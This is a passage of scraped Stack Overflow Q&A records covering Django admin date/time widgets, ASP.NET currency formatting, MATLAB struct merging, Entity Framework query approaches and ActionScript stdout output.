"pm_score": 1,
"selected": false,
"text": "<p>I use this, it's great, but I have 2 problems with the template:</p>\n\n<ol>\n<li>I see the calendar icons <strong>twice</strong> for every filed in template. </li>\n<li><p>And for TimeField I have '<strong>Enter a valid date.</strong>'</p>\n\n<p><img src=\"https://i.stack.imgur.com/cg1D4.png\" alt=\"Here is a screenshot of the Form\"></p></li>\n</ol>\n\n<p><strong>models.py</strong></p>\n\n<pre><code>from django.db import models\n name=models.CharField(max_length=100)\n create_date=models.DateField(blank=True)\n start_time=models.TimeField(blank=False)\n end_time=models.TimeField(blank=False)\n</code></pre>\n\n<p><strong>forms.py</strong></p>\n\n<pre><code>from django import forms\nfrom .models import Guide\nfrom django.contrib.admin import widgets\n\nclass GuideForm(forms.ModelForm):\n start_time = forms.DateField(widget=widgets.AdminTimeWidget)\n end_time = forms.DateField(widget=widgets.AdminTimeWidget)\n create_date = forms.DateField(widget=widgets.AdminDateWidget)\n class Meta:\n model=Guide\n fields=['name','categorie','thumb']\n</code></pre>\n"
},
{
"answer_id": 51893533,
"author": "Munim Munna",
"author_id": 9276329,
"author_profile": "https://Stackoverflow.com/users/9276329",
"pm_score": 3,
"selected": false,
"text": "<h1>For Django >= 2.0</h1>\n\n<blockquote>\n <p><em>Note: Using admin widgets for date-time fields is not a good idea as admin style-sheets can conflict with your site style-sheets in case you are using bootstrap or any other CSS frameworks. If you are building your site on bootstrap use my bootstrap-datepicker widget <a href=\"https://github.com/monim67/django-bootstrap-datepicker-plus\" rel=\"noreferrer\">django-bootstrap-datepicker-plus</a>.</em></p>\n</blockquote>\n\n<p><strong>Step 1:</strong> Add <code>javascript-catalog</code> URL to your project's (not app's) <code>urls.py</code> file.</p>\n\n<pre><code>from django.views.i18n import JavaScriptCatalog\n\nurlpatterns = [\n path('jsi18n', JavaScriptCatalog.as_view(), name='javascript-catalog'),\n]\n</code></pre>\n\n<p><strong>Step 2:</strong> Add required JavaScript/CSS resources to your template.</p>\n\n<pre class=\"lang-html prettyprint-override\"><code><script type=\"text/javascript\" src=\"{% url 'javascript-catalog' %}\"></script>\n<script type=\"text/javascript\" src=\"{% static '/admin/js/core.js' %}\"></script>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static '/admin/css/widgets.css' %}\">\n<style>.calendar>table>caption{caption-side:unset}</style><!--caption fix for bootstrap4-->\n{{ form.media }} {# Form required JS and CSS #}\n</code></pre>\n\n<p><strong>Step 3:</strong> Use admin widgets for date-time input fields in your <code>forms.py</code>.</p>\n\n<pre><code>from django.contrib.admin import widgets\nfrom .models import Product\n\nclass ProductCreateForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = ['name', 'publish_date', 'publish_time', 'publish_datetime']\n widgets = {\n 'publish_date': widgets.AdminDateWidget,\n 'publish_time': widgets.AdminTimeWidget,\n 'publish_datetime': widgets.AdminSplitDateTime,\n }\n</code></pre>\n"
},
{
"answer_id": 55099684,
"author": "Arindam Roychowdhury",
"author_id": 1076965,
"author_profile": "https://Stackoverflow.com/users/1076965",
"pm_score": 0,
"selected": false,
"text": "<p>My Django Setup : 1.11\nBootstrap: 3.3.7</p>\n\n<p>Since none of the answers are completely clear, I am sharing my template code which presents no errors at all. </p>\n\n<p><strong>Top Half of template:</strong></p>\n\n<pre><code>{% extends 'base.html' %}\n{% load static %}\n{% load i18n %}\n\n{% block head %}\n <title>Add Interview</title>\n{% endblock %}\n\n{% block content %}\n\n<script type=\"text/javascript\" src=\"{% url 'javascript-catalog' %}\"></script>\n<script type=\"text/javascript\" src=\"{% static 'admin/js/core.js' %}\"></script>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static 'admin/css/forms.css' %}\"/>\n<link rel=\"stylesheet\" type=\"text/css\" href=\"{% static 'admin/css/widgets.css' %}\"/>\n<link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" >\n<script type=\"text/javascript\" src=\"{% static 'js/jquery.js' %}\"></script>\n</code></pre>\n\n<p><strong>Bottom Half:</strong></p>\n\n<pre><code><script type=\"text/javascript\" src=\"/admin/jsi18n/\"></script>\n<script type=\"text/javascript\" src=\"{% static 'admin/js/vendor/jquery/jquery.min.js' %}\"></script>\n<script type=\"text/javascript\" src=\"{% static 'admin/js/jquery.init.js' %}\"></script>\n<script type=\"text/javascript\" src=\"{% static 'admin/js/actions.min.js' %}\"></script>\n{% endblock %}\n</code></pre>\n"
},
{
"answer_id": 62181628,
"author": "sandeep",
"author_id": 10084728,
"author_profile": "https://Stackoverflow.com/users/10084728",
"pm_score": 0,
"selected": false,
"text": "<p>June 3, 2020 (All answers didn't worked, you can try this solution I used. Just for TimeField)</p>\n\n<p>Use simple <code>Charfield</code> for time fields (<strong>start</strong> and <strong>end</strong> in this example) in forms.</p>\n\n<p><strong>forms.py</strong> </p>\n\n<p>we can use <code>Form</code> or <code>ModelForm</code> here.</p>\n\n<pre><code>class TimeSlotForm(forms.ModelForm):\n start = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'HH:MM'}))\n end = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'HH:MM'}))\n\n class Meta:\n model = TimeSlots\n fields = ('start', 'end', 'provider')\n</code></pre>\n\n<p>Convert string input into time object in views.</p>\n\n<pre><code>import datetime\ndef slots():\n if request.method == 'POST':\n form = create_form(request.POST)\n if form.is_valid(): \n slot = form.save(commit=False)\n start = form.cleaned_data['start']\n end = form.cleaned_data['end']\n start = datetime.datetime.strptime(start, '%H:%M').time()\n end = datetime.datetime.strptime(end, '%H:%M').time()\n slot.start = start\n slot.end = end\n slot.save()\n</code></pre>\n"
},
{
"answer_id": 63823273,
"author": "andyw",
"author_id": 960471,
"author_profile": "https://Stackoverflow.com/users/960471",
"pm_score": 2,
"selected": false,
"text": "<p>Here's another 2020 solution, inspired by @Sandeep's. Using the MinimalSplitDateTimeMultiWidget found in this <a href=\"https://gist.github.com/andytwoods/76f18f5ddeba9192d51dccc922086e43?fbclid=IwAR1x4GbeHLMQypWKaYPGn55r92-uCmJZqLUf4kEAGeX4DTgalt2GQUNY7oQ\" rel=\"nofollow noreferrer\">gist</a>, in our Form as below, we can use modern browser date and time selectors (via eg 'type': 'date'). We don't need any JS.</p>\n<pre><code>class EditAssessmentBaseForm(forms.ModelForm):\n class Meta:\n model = Assessment\n fields = '__all__'\n\n begin = DateTimeField(widget=MinimalSplitDateTimeMultiWidget())\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/Kn2WN.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Kn2WN.gif\" alt=\"enter image description here\" /></a></p>\n"
},
{
"answer_id": 68451933,
"author": "rrretry",
"author_id": 11354529,
"author_profile": "https://Stackoverflow.com/users/11354529",
"pm_score": 2,
"selected": false,
"text": "<p>Another simple solution for <strong>Django 3 (3.2) in 2021</strong> ;) cause andyw's solution doesn't work in Firefox...</p>\n<pre><code>{% load static %}\n\n{% block extrahead %}\n{{ block.super }}\n<script type="text/javascript" src="{% static 'admin/js/cancel.js' %}"></script>\n<link rel="stylesheet" type="text/css" href="{% static 'admin/css/forms.css' %}">\n<script src="{% url 'admin:jsi18n' %}"></script>\n<script src="{% static 'admin/js/jquery.init.js' %}"></script>\n<script src="{% static 'admin/js/core.js' %}"></script>\n{{ form.media }}\n{% endblock %}\n\n<form action="" method="post">\n{% csrf_token %}\n{{ form.as_p }}\n<input type="submit" value="Сохранить">\n</form>\n</code></pre>\n<p>and you'll able to use your form.\nexample:</p>\n<pre><code>from django.contrib.admin import widgets\ndate_time = forms.SplitDateTimeField(widget=widgets.AdminSplitDateTime)\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38601",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2592/"
] | How can I use the nifty JavaScript date and time widgets that the default admin uses with my custom view?
I have looked through [the Django forms documentation](https://docs.djangoproject.com/en/dev/topics/forms/), and it briefly mentions django.contrib.admin.widgets, but I don't know how to use it?
Here is my template that I want it applied on.
```
<form action="." method="POST">
<table>
{% for f in form %}
<tr> <td> {{ f.name }}</td> <td>{{ f }}</td> </tr>
{% endfor %}
</table>
<input type="submit" name="submit" value="Add Product">
</form>
```
Also, I think it should be noted that I haven't really written a view up myself for this form, I am using a generic view. Here is the entry from the url.py:
```
(r'^admin/products/add/$', create_object, {'model': Product, 'post_save_redirect': ''}),
```
And I am relevantly new to the whole Django/MVC/MTV thing, so please go easy... | The growing complexity of this answer over time, and the many hacks required, probably ought to caution you against doing this at all. It's relying on undocumented internal implementation details of the admin, is likely to break again in future versions of Django, and is no easier to implement than just finding another JS calendar widget and using that.
That said, here's what you have to do if you're determined to make this work:
1. Define your own `ModelForm` subclass for your model (best to put it in forms.py in your app), and tell it to use the `AdminDateWidget` / `AdminTimeWidget` / `AdminSplitDateTime` (replace 'mydate' etc with the proper field names from your model):
```
from django import forms
from my_app.models import Product
from django.contrib.admin import widgets
class ProductForm(forms.ModelForm):
class Meta:
model = Product
def __init__(self, *args, **kwargs):
super(ProductForm, self).__init__(*args, **kwargs)
self.fields['mydate'].widget = widgets.AdminDateWidget()
self.fields['mytime'].widget = widgets.AdminTimeWidget()
self.fields['mydatetime'].widget = widgets.AdminSplitDateTime()
```
2. Change your URLconf to pass `'form_class': ProductForm` instead of `'model': Product` to the generic `create_object` view (that'll mean `from my_app.forms import ProductForm` instead of `from my_app.models import Product`, of course).
3. In the head of your template, include `{{ form.media }}` to output the links to the Javascript files.
4. And the hacky part: the admin date/time widgets presume that the i18n JS stuff has been loaded, and also require core.js, but don't provide either one automatically. So in your template above `{{ form.media }}` you'll need:
```
<script type="text/javascript" src="/my_admin/jsi18n/"></script>
<script type="text/javascript" src="/media/admin/js/core.js"></script>
```
You may also wish to use the following admin CSS (thanks [Alex](https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/719583#719583) for mentioning this):
```
<link rel="stylesheet" type="text/css" href="/media/admin/css/forms.css"/>
<link rel="stylesheet" type="text/css" href="/media/admin/css/base.css"/>
<link rel="stylesheet" type="text/css" href="/media/admin/css/global.css"/>
<link rel="stylesheet" type="text/css" href="/media/admin/css/widgets.css"/>
```
This implies that Django's admin media (`ADMIN_MEDIA_PREFIX`) is at /media/admin/ - you can change that for your setup. Ideally you'd use a context processor to pass this values to your template instead of hardcoding it, but that's beyond the scope of this question.
This also requires that the URL /my\_admin/jsi18n/ be manually wired up to the django.views.i18n.javascript\_catalog view (or null\_javascript\_catalog if you aren't using I18N). You have to do this yourself instead of going through the admin application so it's accessible regardless of whether you're logged into the admin (thanks [Jeremy](https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/408230#408230) for pointing this out). Sample code for your URLconf:
```
(r'^my_admin/jsi18n', 'django.views.i18n.javascript_catalog'),
```
Lastly, if you are using Django 1.2 or later, you need some additional code in your template to help the widgets find their media:
```
{% load adminmedia %} /* At the top of the template. */
/* In the head section of the template. */
<script type="text/javascript">
window.__admin_media_prefix__ = "{% filter escapejs %}{% admin_media_prefix %}{% endfilter %}";
</script>
```
Thanks [lupefiasco](https://stackoverflow.com/questions/38601/using-django-time-date-widgets-in-custom-form/2818128#2818128) for this addition. |
38,602 | <p>I am attempting to set an asp.net textbox to a SQL 2005 money data type field, the initial result displayed to the user is 40.0000 instead of 40.00.
In my asp.net textbox control I would like to only display the first 2 numbers after the decimal point e.g. 40.00</p>
<p>What would be the best way to do this?
My code is below:</p>
<pre><code>this.txtPayment.Text = dr["Payment"].ToString();
</code></pre>
| [
{
"answer_id": 38611,
"author": "YonahW",
"author_id": 3821,
"author_profile": "https://Stackoverflow.com/users/3821",
"pm_score": 3,
"selected": true,
"text": "<pre><code>this.txtPayment.Text = string.Format(\"{0:c}\", dr[Payment\"].ToString());\n</code></pre>\n"
},
{
"answer_id": 38613,
"author": "Jason Navarrete",
"author_id": 3920,
"author_profile": "https://Stackoverflow.com/users/3920",
"pm_score": 0,
"selected": false,
"text": "<p>Use the <em>ToString</em> method with \"c\" to format it as currency.</p>\n\n<pre><code>this.txtPayment.Text = dr[\"Payment\"].ToString(\"c\");\n</code></pre>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/dwhawy9k.aspx\" rel=\"nofollow noreferrer\">Standard Numeric Format Strings</a></p>\n"
},
{
"answer_id": 38616,
"author": "Matt Hamilton",
"author_id": 615,
"author_profile": "https://Stackoverflow.com/users/615",
"pm_score": 2,
"selected": false,
"text": "<p>Does the \"c\" format string work on ASP.NET the same way as it does in, say, Windows Forms? Because in WinForms I'm fairly certain it obeys the <em>client's</em> currency settings. So even if the value is stored in US Dollars, if the client PC is set up to display Yen then that's the currency symbol that'll be displayed. That may not be what you want.</p>\n\n<p>It may be wiser if that's the case to use:</p>\n\n<pre><code>txtPayment.Text = dr[\"Payment\"].ToString(\"00.00\")\n</code></pre>\n"
},
{
"answer_id": 38630,
"author": "Jon Limjap",
"author_id": 372,
"author_profile": "https://Stackoverflow.com/users/372",
"pm_score": 0,
"selected": false,
"text": "<p>@Matt Hamilton</p>\n\n<p>It does. \"c\" works for whatever the CurrentCultureInfo is, the question becomes if all the users of the web application have the same currency as the server, otherwise, they will need to get the cultureinfo clientside and use the currency gleaned from there.</p>\n"
},
{
"answer_id": 39799,
"author": "Ron Skufca",
"author_id": 4096,
"author_profile": "https://Stackoverflow.com/users/4096",
"pm_score": 0,
"selected": false,
"text": "<p>After some research I came up with the following:</p>\n\n<pre><code>string pmt = dr[\"Payment\"].ToString();\ndouble dblPmt = System.Convert.ToDouble(pmt);\nthis.txtPayment.Text = dblPmt.ToString(\"c\",CultureInfo.CurrentCulture.NumberFormat);\n</code></pre>\n\n<p>I am going to test all code samples given. If I can solve this with one line of code then thats what I am going to do.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38602",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4096/"
] | I am attempting to set an asp.net textbox to a SQL 2005 money data type field, the initial result displayed to the user is 40.0000 instead of 40.00.
In my asp.net textbox control I would like to only display the first 2 numbers after the decimal point e.g. 40.00
What would be the best way to do this?
My code is below:
```
this.txtPayment.Text = dr["Payment"].ToString();
``` | ```
this.txtPayment.Text = string.Format("{0:c}", dr[Payment"].ToString());
``` |
38,645 | <p>I want to combine two structures with differing fields names.</p>
<p>For example, starting with:</p>
<pre><code>A.field1 = 1;
A.field2 = 'a';
B.field3 = 2;
B.field4 = 'b';
</code></pre>
<p>I would like to have:</p>
<pre><code>C.field1 = 1;
C.field2 = 'a';
C.field3 = 2;
C.field4 = 'b';
</code></pre>
<p>Is there a more efficient way than using "fieldnames" and a for loop?</p>
<p><strong>EDIT:</strong> Let's assume that in the case of field name conflicts we give preference to <code>A</code>.</p>
| [
{
"answer_id": 38659,
"author": "pbh101",
"author_id": 1266,
"author_profile": "https://Stackoverflow.com/users/1266",
"pm_score": 2,
"selected": false,
"text": "<p>In C, a struct can have another struct as one of it's members. While this isn't exactly the same as what you're asking, you could end up either with a situation where one struct contains another, or one struct contains two structs, both of which hold parts of the info that you wanted.</p>\n\n<p>psuedocode: i don't remember the actual syntax.</p>\n\n<pre><code>A.field1 = 1;\nA.field2 = 'a';\nA.field3 = struct B;\n</code></pre>\n\n<p>to access:\n A.field3.field4;</p>\n\n<p>or something of the sort.</p>\n\n<p>Or you could have struct C hold both an A and a B:</p>\n\n<pre><code>C.A = struct A;\nC.B = struct B;\n</code></pre>\n\n<p>with access then something like</p>\n\n<pre><code>C.A.field1;\nC.A.field2;\nC.B.field3;\nC.B.field4;\n</code></pre>\n\n<p>hope this helps!</p>\n\n<p>EDIT: both of these solutions avoid naming collisions.</p>\n\n<p>Also, I didn't see your <code>matlab</code> tag. By convention, you should want to edit the question to include that piece of info.</p>\n"
},
{
"answer_id": 39678,
"author": "SCFrench",
"author_id": 4928,
"author_profile": "https://Stackoverflow.com/users/4928",
"pm_score": 5,
"selected": true,
"text": "<p>Without collisions, you can do </p>\n\n<pre><code>M = [fieldnames(A)' fieldnames(B)'; struct2cell(A)' struct2cell(B)'];\nC=struct(M{:});\n</code></pre>\n\n<p>And this is reasonably efficient. However, <code>struct</code> errors on duplicate fieldnames, and pre-checking for them using <code>unique</code> kills performance to the point that a loop is better. But here's what it would look like:</p>\n\n<pre><code>M = [fieldnames(A)' fieldnames(B)'; struct2cell(A)' struct2cell(B)'];\n\n[tmp, rows] = unique(M(1,:), 'last');\nM=M(:, rows);\n\nC=struct(M{:});\n</code></pre>\n\n<p>You might be able to make a hybrid solution by assuming no conflicts and using a try/catch around the call to <code>struct</code> to gracefully degrade to the conflict handling case.</p>\n"
},
{
"answer_id": 357381,
"author": "Jason S",
"author_id": 44330,
"author_profile": "https://Stackoverflow.com/users/44330",
"pm_score": 2,
"selected": false,
"text": "<p>I don't think you can handle conflicts well w/o a loop, nor do I think you'd need to avoid one. (although I suppose efficiency could be an issue w/ many many fields...)</p>\n\n<p>I use a function I wrote a few years back called <code>setdefaults.m</code>, which combines one structure with the values of another structure, where one takes precedence over the other in case of conflict.</p>\n\n<pre><code>% SETDEFAULTS sets the default structure values \n% SOUT = SETDEFAULTS(S, SDEF) reproduces in S \n% all the structure fields, and their values, that exist in \n% SDEF that do not exist in S. \n% SOUT = SETDEFAULTS(S, SDEF, OVERRIDE) does\n% the same function as above, but if OVERRIDE is 1,\n% it copies all fields of SDEF to SOUT.\n\nfunction sout = setdefaults(s,sdef,override)\nif (not(exist('override','var')))\n override = 0;\nend\n\nsout = s;\nfor f = fieldnames(sdef)'\n cf = char(f);\n if (override | not(isfield(sout,cf)))\n sout = setfield(sout,cf,getfield(sdef,cf));\n end\nend\n</code></pre>\n\n<p>Now that I think about it, I'm pretty sure that the \"override\" input is unnecessary (you can just switch the order of the inputs) though I'm not 100% sure of that... so here's a simpler rewrite (<code>setdefaults2.m</code>):</p>\n\n<pre><code>% SETDEFAULTS2 sets the default structure values \n% SOUT = SETDEFAULTS(S, SDEF) reproduces in S \n% all the structure fields, and their values, that exist in \n% SDEF that do not exist in S. \n\nfunction sout = setdefaults2(s,sdef)\nsout = sdef;\nfor f = fieldnames(s)'\n sout = setfield(sout,f{1},getfield(s,f{1}));\nend\n</code></pre>\n\n<p>and some samples to test it:</p>\n\n<pre><code>>> S1 = struct('a',1,'b',2,'c',3);\n>> S2 = struct('b',4,'c',5,'d',6);\n>> setdefaults2(S1,S2)\n\nans = \n\n b: 2\n c: 3\n d: 6\n a: 1\n\n>> setdefaults2(S2,S1)\n\nans = \n\n a: 1\n b: 4\n c: 5\n d: 6\n</code></pre>\n"
},
{
"answer_id": 18893739,
"author": "Dennis Jaheruddin",
"author_id": 983722,
"author_profile": "https://Stackoverflow.com/users/983722",
"pm_score": 3,
"selected": false,
"text": "<p>I have found a nice <a href=\"http://www.mathworks.com/matlabcentral/fileexchange/7842-catstruct\" rel=\"noreferrer\">solution on File Exchange: catstruct</a>.</p>\n\n<p>Without testing the performance I can say that it did exactly what I wanted.\nIt can deal with duplicate fields of course.</p>\n\n<p>Here is how it works:</p>\n\n<pre><code>a.f1 = 1;\na.f2 = 2;\nb.f2 = 3;\nb.f4 = 4;\n\ns = catstruct(a,b)\n</code></pre>\n\n<p>Will give</p>\n\n<pre><code>s = \n\n f1: 1\n f2: 3\n f3: 4\n</code></pre>\n"
},
{
"answer_id": 23767610,
"author": "chappjc",
"author_id": 2778484,
"author_profile": "https://Stackoverflow.com/users/2778484",
"pm_score": 3,
"selected": false,
"text": "<p>Short answer: <strong><code>setstructfields</code></strong> (if you have the Signal Processing Toolbox).</p>\n\n<hr>\n\n<p>The official solution is posted by Loren Shure on <a href=\"http://blogs.mathworks.com/loren/2009/10/15/concatenating-structs/\" rel=\"nofollow noreferrer\">her MathWorks blog</a>, and demonstrated by <a href=\"https://stackoverflow.com/a/39678/2778484\">SCFrench here</a> and in <a href=\"https://stackoverflow.com/a/15257983/2778484\">Eitan T's answer to a different question</a>. However, if you have the Signal Processing Toolbox, a simple undocumented function does this already - <code>setstructfields</code>.</p>\n\n<p><strong><code>help setstructfields</code></strong></p>\n\n<pre class=\"lang-none prettyprint-override\"><code> setstructfields Set fields of a structure using another structure\n setstructfields(STRUCTIN, NEWFIELDS) Set fields of STRUCTIN using\n another structure NEWFIELDS fields. If fields exist in STRUCTIN\n but not in NEWFIELDS, they will not be changed.\n</code></pre>\n\n<p>Internally it uses <code>fieldnames</code> and a <code>for</code> loop, so it is a convenience function with error checking and recursion for fields that are themselves structs.</p>\n\n<p><strong>Example</strong></p>\n\n<p>The \"original\" struct:</p>\n\n<pre><code>% struct with fields 'color' and 'count'\ns = struct('color','orange','count',2)\n\ns = \n color: 'orange'\n count: 2\n</code></pre>\n\n<p>A second struct containing a new value for <code>'count'</code>, and a new field, <code>'shape'</code>:</p>\n\n<pre><code>% struct with fields 'count' and 'shape'\ns2 = struct('count',4,'shape','round')\n\ns2 = \n count: 4\n shape: 'round'\n</code></pre>\n\n<p>Calling <code>setstructfields</code>:</p>\n\n<pre><code>>> s = setstructfields(s,s2)\ns = \n color: 'orange'\n count: 4\n shape: 'round'\n</code></pre>\n\n<p>The field <code>'count'</code> is <em>updated</em>. The field <code>'shape'</code> is <em>added</em>. The field <code>'color'</code> <em>remains unchanged</em>.</p>\n\n<p><strong>NOTE</strong>: Since the function is undocumented, it may change or be removed at any time.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38645",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4135/"
] | I want to combine two structures with differing fields names.
For example, starting with:
```
A.field1 = 1;
A.field2 = 'a';
B.field3 = 2;
B.field4 = 'b';
```
I would like to have:
```
C.field1 = 1;
C.field2 = 'a';
C.field3 = 2;
C.field4 = 'b';
```
Is there a more efficient way than using "fieldnames" and a for loop?
**EDIT:** Let's assume that in the case of field name conflicts we give preference to `A`. | Without collisions, you can do
```
M = [fieldnames(A)' fieldnames(B)'; struct2cell(A)' struct2cell(B)'];
C=struct(M{:});
```
And this is reasonably efficient. However, `struct` errors on duplicate fieldnames, and pre-checking for them using `unique` kills performance to the point that a loop is better. But here's what it would look like:
```
M = [fieldnames(A)' fieldnames(B)'; struct2cell(A)' struct2cell(B)'];
[tmp, rows] = unique(M(1,:), 'last');
M=M(:, rows);
C=struct(M{:});
```
You might be able to make a hybrid solution by assuming no conflicts and using a try/catch around the call to `struct` to gracefully degrade to the conflict handling case. |
38,647 | <p><strong>When using the Entity Framework, does ESQL perform better than Linq to Entities?</strong> </p>
<p>I'd prefer to use Linq to Entities (mainly because of the strong-type checking), but some of my other team members are citing performance as a reason to use ESQL. I would like to get a full idea of the pro's/con's of using either method.</p>
| [
{
"answer_id": 38689,
"author": "lomaxx",
"author_id": 493,
"author_profile": "https://Stackoverflow.com/users/493",
"pm_score": 1,
"selected": false,
"text": "<p>The more code you can cover with compile time checking for me is something that I'd place a higher premium on than performance. Having said that at this stage I'd probably lean towards ESQL not just because of the performance, but it's also (at present) a lot more flexible in what it can do. There's nothing worse than using a technology stack that doesn't have a feature you really really need.</p>\n\n<p>The entity framework doesn't support things like custom properties, custom queries (for when you need to really tune performance) and does not function the same as linq-to-sql (i.e. there are features that simply don't work in the entity framework).</p>\n\n<p>My personal impression of the Entity Framework is that there is a lot of potential, but it's probably a bit to \"rigid\" in it's implementation to use in a production environment in its current state.</p>\n"
},
{
"answer_id": 40743,
"author": "Chris Gillum",
"author_id": 2069,
"author_profile": "https://Stackoverflow.com/users/2069",
"pm_score": 2,
"selected": false,
"text": "<p>Entity-SQL (eSQL) allows you to do things such as dynamic queries more easily than LINQ to Entities. However, if you don't have a scenario that requires eSQL, I would be hesitant to rely on it over LINQ because it will be much harder to maintain (e.g. no more compile-time checking, etc).</p>\n\n<p>I believe LINQ allows you to precompile your queries as well, which might give you better performance. Rico Mariani <a href=\"http://blogs.msdn.com/ricom/archive/2007/07/05/dlinq-linq-to-sql-performance-part-4.aspx\" rel=\"nofollow noreferrer\">blogged about LINQ performance</a> a while back and discusses compiled queries.</p>\n"
},
{
"answer_id": 306060,
"author": "ADB",
"author_id": 3610,
"author_profile": "https://Stackoverflow.com/users/3610",
"pm_score": 2,
"selected": false,
"text": "<p>ESQL can also generate some particularly vicious sql. I had to track a problem with such a query that was using inherited classes and I found out that my pidly-little ESQL of 4 lines got translated in a 100000 characters monster SQL statetement. </p>\n\n<p>Did the same thing with Linq and the compiled code was much more managable, let's say 20 lines of SQL.</p>\n\n<p>Plus, what other people mentioned, Linq is strongly type, although very annoying to debug without the edit and continue feature.</p>\n\n<p>AD</p>\n"
},
{
"answer_id": 356511,
"author": "Royd Brayshay",
"author_id": 35043,
"author_profile": "https://Stackoverflow.com/users/35043",
"pm_score": 5,
"selected": true,
"text": "<p>The most obvious differences are:</p>\n\n<p>Linq to Entities is strongly typed code including nice query comprehension syntax. The fact that the “from” comes before the “select” allows IntelliSense to help you.</p>\n\n<p>Entity SQL uses traditional string based queries with a more familiar SQL like syntax where the SELECT statement comes before the FROM. Because eSQL is string based, dynamic queries may be composed in a traditional way at run time using string manipulation.</p>\n\n<p>The less obvious key difference is:</p>\n\n<p>Linq to Entities allows you to change the shape or \"project\" the results of your query into any shape you require with the “select new{... }” syntax. Anonymous types, new to C# 3.0, has allowed this.</p>\n\n<p>Projection is not possible using Entity SQL as you must always return an ObjectQuery<T>. In some scenarios it is possible use ObjectQuery<object> however you must work around the fact that .Select always returns ObjectQuery<DbDataRecord>. See code below...</p>\n\n<pre><code>ObjectQuery<DbDataRecord> query = DynamicQuery(context,\n \"Products\",\n \"it.ProductName = 'Chai'\",\n \"it.ProductName, it.QuantityPerUnit\");\n\npublic static ObjectQuery<DbDataRecord> DynamicQuery(MyContext context, string root, string selection, string projection)\n{\n ObjectQuery<object> rootQuery = context.CreateQuery<object>(root);\n ObjectQuery<object> filteredQuery = rootQuery.Where(selection);\n ObjectQuery<DbDataRecord> result = filteredQuery.Select(projection);\n return result;\n}\n</code></pre>\n\n<p>There are other more subtle differences described by one of the team members in detail <a href=\"http://blogs.msdn.com/diego/archive/2007/12/20/some-differences-between-esql-and-linq-to-entities-capabilities.aspx\" rel=\"noreferrer\">here</a> and <a href=\"http://blogs.msdn.com/diego/archive/2007/11/11/choosing-an-entity-framework-api.aspx\" rel=\"noreferrer\">here</a>.</p>\n"
},
{
"answer_id": 864281,
"author": "chrishawn",
"author_id": 28681,
"author_profile": "https://Stackoverflow.com/users/28681",
"pm_score": 2,
"selected": false,
"text": "<p>nice graph showing performance comparisons here:\n <a href=\"http://toomanylayers.blogspot.com/2009/01/entity-framework-and-linq-to-sql.html\" rel=\"nofollow noreferrer\">Entity Framework Performance Explored</a>\nnot much difference seen between ESQL and Entities\nbut overall differences significant in using Entities over direct Queries</p>\n\n<p>Entity Framework uses two layers of object mapping (compared to a single layer in LINQ to SQL), and the additional mapping has performance costs. At least in EF version 1, application designers should choose Entity Framework only if the modeling and ORM mapping capabilities can justify that cost.</p>\n"
},
{
"answer_id": 922435,
"author": "Jeff",
"author_id": 13338,
"author_profile": "https://Stackoverflow.com/users/13338",
"pm_score": 0,
"selected": false,
"text": "<p>For direct queries I'm using linq to entities, for dynamic queries I'm using ESQL. Maybe the answer isn't either/or, but and/also.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/38647",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/708/"
] | **When using the Entity Framework, does ESQL perform better than Linq to Entities?**
I'd prefer to use Linq to Entities (mainly because of the strong-type checking), but some of my other team members are citing performance as a reason to use ESQL. I would like to get a full idea of the pro's/con's of using either method. | The most obvious differences are:
Linq to Entities is strongly typed code including nice query comprehension syntax. The fact that the “from” comes before the “select” allows IntelliSense to help you.
Entity SQL uses traditional string based queries with a more familiar SQL like syntax where the SELECT statement comes before the FROM. Because eSQL is string based, dynamic queries may be composed in a traditional way at run time using string manipulation.
The less obvious key difference is:
Linq to Entities allows you to change the shape or "project" the results of your query into any shape you require with the “select new{... }” syntax. Anonymous types, new to C# 3.0, has allowed this.
Projection is not possible using Entity SQL as you must always return an ObjectQuery<T>. In some scenarios it is possible use ObjectQuery<object> however you must work around the fact that .Select always returns ObjectQuery<DbDataRecord>. See code below...
```
ObjectQuery<DbDataRecord> query = DynamicQuery(context,
"Products",
"it.ProductName = 'Chai'",
"it.ProductName, it.QuantityPerUnit");
public static ObjectQuery<DbDataRecord> DynamicQuery(MyContext context, string root, string selection, string projection)
{
ObjectQuery<object> rootQuery = context.CreateQuery<object>(root);
ObjectQuery<object> filteredQuery = rootQuery.Where(selection);
ObjectQuery<DbDataRecord> result = filteredQuery.Select(projection);
return result;
}
```
There are other more subtle differences described by one of the team members in detail [here](http://blogs.msdn.com/diego/archive/2007/12/20/some-differences-between-esql-and-linq-to-entities-capabilities.aspx) and [here](http://blogs.msdn.com/diego/archive/2007/11/11/choosing-an-entity-framework-api.aspx). |
38,651 | <p>Is there any way to have a binary compiled from an ActionScript 3 project print stuff to <em>stdout</em> when executed?</p>
<p>From what I've gathered, people have been going around this limitation by writing hacks that rely on local socket connections and AIR apps that write to files in the local filesystem, but that's pretty much it -- it's obviously not possible with the Flash Player and AIR runtimes from Adobe.</p>
<p>Is there any project (e.g. based on the Tamarin code) that is attempting to implement something that would provide this kind of functionality?</p>
| [
{
"answer_id": 38936,
"author": "Theo",
"author_id": 1109,
"author_profile": "https://Stackoverflow.com/users/1109",
"pm_score": 2,
"selected": false,
